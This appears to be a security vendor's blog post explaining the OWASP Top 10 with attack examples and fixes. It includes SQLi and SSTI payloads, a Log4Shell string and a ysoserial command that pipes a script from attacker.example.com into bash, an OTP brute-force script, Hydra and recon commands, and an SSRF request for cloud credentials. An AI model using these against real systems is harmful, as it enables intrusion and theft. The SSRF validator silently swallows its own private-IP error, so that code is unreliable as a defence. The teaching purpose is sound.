Web applications are the front door to most modern businesses, and attackers know it. The OWASP Top 10 is the industry's most referenced framework for understanding the critical risks that put those applications at serious risk. But reading a numbered list does not make your application more secure. Understanding how each vulnerability is actually exploited, and knowing exactly what to do about it, does.
This post walks through each OWASP Top 10 category with real-world attack scenarios, technical payloads, and concrete remediation steps. If your team is responsible for building or securing web applications, consider this a working reference, not just background reading.
Broken access control is the most prevalent OWASP category. It occurs when applications fail to enforce restrictions on what authenticated users are allowed to do. A classic form is Insecure Direct Object Reference (IDOR), where an attacker modifies a parameter to access another user's data.
Consider this typical vulnerable request:
GET /api/orders/10042 HTTP/1.1
Host: shop.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
[cta]
By changing 10042 to 10041, an attacker retrieves another user's order. There is no server-side check confirming the requesting user owns order 10041.
Tools like Burp Suite Pro's Autorize extension automate this testing at scale across authenticated sessions.
Implement server-side authorization checks on every resource request, not just at the route level. Use indirect references, such as UUIDs mapped server-side to internal IDs, so sequential enumeration becomes meaningless. Apply the principle of least privilege throughout your role definitions.
# Enforce ownership before returning resource
def get_order(order_id, current_user):
order = Order.query.get(order_id)
if not order or order.user_id != current_user.id:
abort(403)
return order
[cta]
Formerly labeled "Sensitive Data Exposure," this category covers weak encryption, unencrypted data in transit, deprecated cipher suites, and improperly stored credentials. A common real-world scenario involves discovering MD5-hashed passwords in a breached database.
Using Hashcat against a leaked hash database:
hashcat -m 0 -a 0 hashes.txt rockyou.txt --show
[cta]
MD5 hashes crack in seconds with commodity hardware. Even bcrypt becomes vulnerable when developers set a cost factor too low, such as 4 instead of the recommended 12.
Use bcrypt, scrypt, or Argon2id for password storage. Enforce TLS 1.2 as a minimum, with TLS 1.3 preferred. Disable weak cipher suites using a tool like testssl.sh to audit your TLS configuration:
./testssl.sh --cipher-per-proto https://yourapp.example.com
[cta]
Store secrets in dedicated vaults such as HashiCorp Vault or AWS Secrets Manager, never in environment variables committed to version control.
SQL injection remains one of the most exploited vulnerabilities in web applications. The attack occurs when user-supplied input is concatenated directly into a query without sanitization.
A vulnerable PHP snippet:
$query = "SELECT * FROM users WHERE username = '" . $_GET['user'] . "'";
[cta]
An attacker passes:
' OR '1'='1' --
This collapses the WHERE clause and returns all user records. In blind SQLi scenarios, attackers use time-based payloads:
' AND SLEEP(5) --
Using sqlmap for automated detection during an authorized engagement:
sqlmap -u "https://target.example.com/user?id=1" --dbs --batch --level=5 --risk=3
[cta]
Beyond SQL, OS command injection, LDAP injection, and template injection (SSTI) fall under this category. For example, a Flask application rendering user input through Jinja2 without sanitization can be exploited with:
{{7*7}}
If the response returns 49, the application is vulnerable to SSTI, and code execution follows.
Use parameterized queries or prepared statements without exception:
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
[cta]
For SSTI, use template sandboxing and never pass raw user input to template rendering functions. For OS commands, avoid shell execution entirely where possible. When unavoidable, use allowlists for accepted input values.
The team at Redfox Cybersecurity regularly identifies injection vulnerabilities across client applications during penetration testing engagements, including SSTI chains that bypass WAF rules entirely.
Insecure design is not a coding bug, it is an architectural failure. It represents missing or ineffective security controls that were never built in during the design phase. A real-world example is a password reset flow that uses a predictable four-digit OTP with no rate limiting.
An attacker can brute-force all 10,000 possible OTPs with a simple script:
import requests
for i in range(10000):
otp = str(i).zfill(4)
r = requests.post("https://target.example.com/reset", data={"otp": otp, "email": "victim@example.com"})
if "success" in r.text.lower():
print(f"Valid OTP: {otp}")
break
[cta]
Without account lockout, CAPTCHA, or exponential backoff, this succeeds in minutes.
Adopt threat modeling as a standard phase of your SDLC, using frameworks like STRIDE or PASTA to identify trust boundaries and abuse cases before code is written. Implement rate limiting at the infrastructure level using tools like nginx's limit_req module or API gateway policies. For OTPs, use cryptographically generated tokens of sufficient length with short expiry windows.
Security misconfiguration is the broadest category on the list. It includes exposed admin panels, verbose error messages, default credentials, open cloud storage buckets, and unnecessary HTTP methods being enabled.
A common discovery during a reconnaissance phase is an exposed .git directory:
curl -s https://target.example.com/.git/config
[cta]
If this returns the git config file, tools like git-dumper can reconstruct the entire source tree, often revealing hardcoded credentials and internal API logic.
For cloud environments, misconfigured S3 buckets remain a persistent problem:
aws s3 ls s3://target-company-backup --no-sign-request
[cta]
If this command succeeds without credentials, the bucket is publicly readable.
Automate configuration benchmarking using CIS Benchmark tooling such as aws-foundations-benchmark or Lynis for Linux hardening. Ensure cloud storage access policies are explicitly defined and audited. Remove default credentials, disable directory listing, and suppress detailed error responses in production.
server_tokens off;
[cta]
Implement infrastructure-as-code scanning using Checkov or Terrascan to catch misconfigurations before they reach production.
Using libraries with known vulnerabilities is one of the most common paths to exploitation. Log4Shell (CVE-2021-44228) demonstrated how a single vulnerable logging library could expose hundreds of thousands of systems. The payload was deceptively simple:
${jndi:ldap://attacker.example.com/exploit}
[cta]
Passed through virtually any user-controlled input, including HTTP headers like User-Agent or X-Forwarded-For, this triggered an outbound LDAP lookup and could achieve remote code execution on unpatched systems.
Similarly, outdated npm packages introduce transitive dependency risks that often go unnoticed until a CVE surfaces.
Integrate software composition analysis (SCA) into your CI/CD pipeline. Tools like OWASP Dependency-Check, Snyk, and Grype automate this:
grype dir:. --output table
[cta]
Subscribe to vendor security advisories and maintain a software bill of materials (SBOM) for all production systems. Use npm audit and pip-audit as part of every build:
npm audit --audit-level=high
pip-audit -r requirements.txt
[cta]
If your organization is handling component risk at scale, the application security services offered by Redfox Cybersecurity include dependency auditing and SBOM generation as part of secure code review engagements.
This category covers credential stuffing, brute force, weak session management, and missing multi-factor authentication. Credential stuffing attacks use breached username/password pairs from one platform to gain access to another.
Using a tool like Hydra against a login endpoint during an authorized test:
hydra -L users.txt -P passwords.txt https-post-form \
"//login.example.com/auth:username=^USER^&password=^PASS^:Invalid credentials" -t 16
[cta]
Session token predictability is another attack vector. If tokens are sequential or derived from timestamps without sufficient entropy, they can be forged:
import hashlib, time
token = hashlib.md5(str(int(time.time())).encode()).hexdigest()
Any token constructed this way can be predicted within a narrow time window.
Enforce multi-factor authentication across all user-facing and administrative accounts. Implement account lockout with exponential backoff or CAPTCHA after a defined number of failed attempts. Generate session tokens using cryptographically secure random number generators with at least 128 bits of entropy:
import secrets
session_token = secrets.token_hex(32)
[cta]
Invalidate session tokens on logout and re-issue them after privilege escalation events such as login or role changes.
This category, which includes insecure deserialization and CI/CD pipeline attacks, gained significant attention following the SolarWinds supply chain compromise. Attackers who gain access to a build pipeline can inject malicious code into legitimate software updates.
A Java deserialization vulnerability can be exploited using ysoserial to generate malicious payloads:
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.example.com/shell.sh | bash' > payload.ser
[cta]
When an application deserializes this object without type checking, it executes the embedded command.
Insecure update mechanisms that do not verify cryptographic signatures are equally dangerous. An attacker who performs a man-in-the-middle attack on an unverified update channel can deliver arbitrary code to client systems.
Verify the integrity of all software downloads using GPG signatures or checksums. For deserialization, enforce strict type allowlisting and avoid deserializing data from untrusted sources entirely where possible. Implement integrity checks on your CI/CD pipeline using signed commits and build attestations:
git config --global commit.gpgsign true
[cta]
Use tools like in-toto or SLSA framework controls to ensure build pipeline integrity from source to deployment.
Insufficient logging does not cause a breach, but it ensures that breaches go undetected and uncontained for far longer than necessary. The average dwell time before detection, across many reported incidents, has been measured in weeks or months. Without logging authentication failures, privilege escalations, and access to sensitive endpoints, security teams are blind to lateral movement.
An attacker who successfully compromises an account and moves through a network undetected benefits directly from logging gaps. Failed login attempts that should trigger alerts instead disappear silently.
Define what constitutes a loggable security event across your application and enforce it consistently. At minimum, log authentication attempts (both successful and failed), access control failures, input validation errors, and administrative actions.
Ship logs to a centralized SIEM such as Elastic Security or Splunk. Use structured JSON logging to enable reliable parsing and alerting:
import logging, json
logging.basicConfig(level=logging.INFO)
def log_event(event_type, user_id, details):
logging.info(json.dumps({
"event": event_type,
"user_id": user_id,
"details": details
}))
log_event("AUTH_FAILURE", "unknown", {"ip": "203.0.113.5", "attempts": 5})
[cta]
Set up automated alerting on anomalies such as rapid sequential failed logins, access from unusual geographies, or large data exports. Logging without alerting is an archive, not a defense.
SSRF allows an attacker to induce the server to make HTTP requests to an unintended location, often bypassing firewall rules and accessing internal services that are otherwise unreachable from the internet.
A simple SSRF payload targeting the AWS metadata service:
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: vulnerable-app.example.com
[cta]
If the application fetches this URL and returns the response, the attacker retrieves IAM role credentials and can pivot into the cloud environment. In production cloud environments, this attack has been responsible for significant data exposures.
During authorized application security assessments, the team at Redfox Cybersecurity uses Burp Collaborator and custom out-of-band detection infrastructure to identify blind SSRF vulnerabilities that do not return responses directly to the attacker.
SSRF can also target internal services on non-routable ranges:
http://10.0.0.1:8080/admin
http://192.168.1.1/router-config[cta]
Validate and sanitize all URLs before the server fetches them. Implement an allowlist of permitted schemes, hostnames, and ports rather than attempting to blocklist known-bad addresses. Block requests to link-local ranges (169.254.0.0/16) and private IP ranges at the network layer as a defense-in-depth measure.
from urllib.parse import urlparse
import ipaddress
ALLOWED_HOSTS = {"api.trusted-partner.com", "cdn.example.com"}
def validate_url(url):
parsed = urlparse(url)
if parsed.hostname not in ALLOWED_HOSTS:
raise ValueError("Host not permitted")
try:
addr = ipaddress.ip_address(parsed.hostname)
if addr.is_private or addr.is_link_local:
raise ValueError("Private IP access denied")
except ValueError:
pass
return url
[cta]
Disable HTTP redirects in your HTTP client library to prevent redirect-based SSRF bypass techniques.
The OWASP Top 10 is not a checkbox exercise. Each category represents a class of vulnerability that real attackers exploit in production environments, often in chains, where one misconfiguration enables access to a deeper injection flaw, which in turn reveals credentials that break authentication entirely.
Securing web applications requires ongoing effort across the development lifecycle. Threat modeling during design, SCA in CI/CD, parameterized queries in code, and behavioral monitoring in production are not individual fixes. They are layers of a defensible architecture.
If your team needs help assessing where your application stands against these risks, Redfox Cybersecurity delivers web application penetration testing, code review, and remediation advisory services grounded in exactly this kind of technical depth. Knowing where your vulnerabilities are is the first step. Fixing them before an attacker finds them is the goal.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
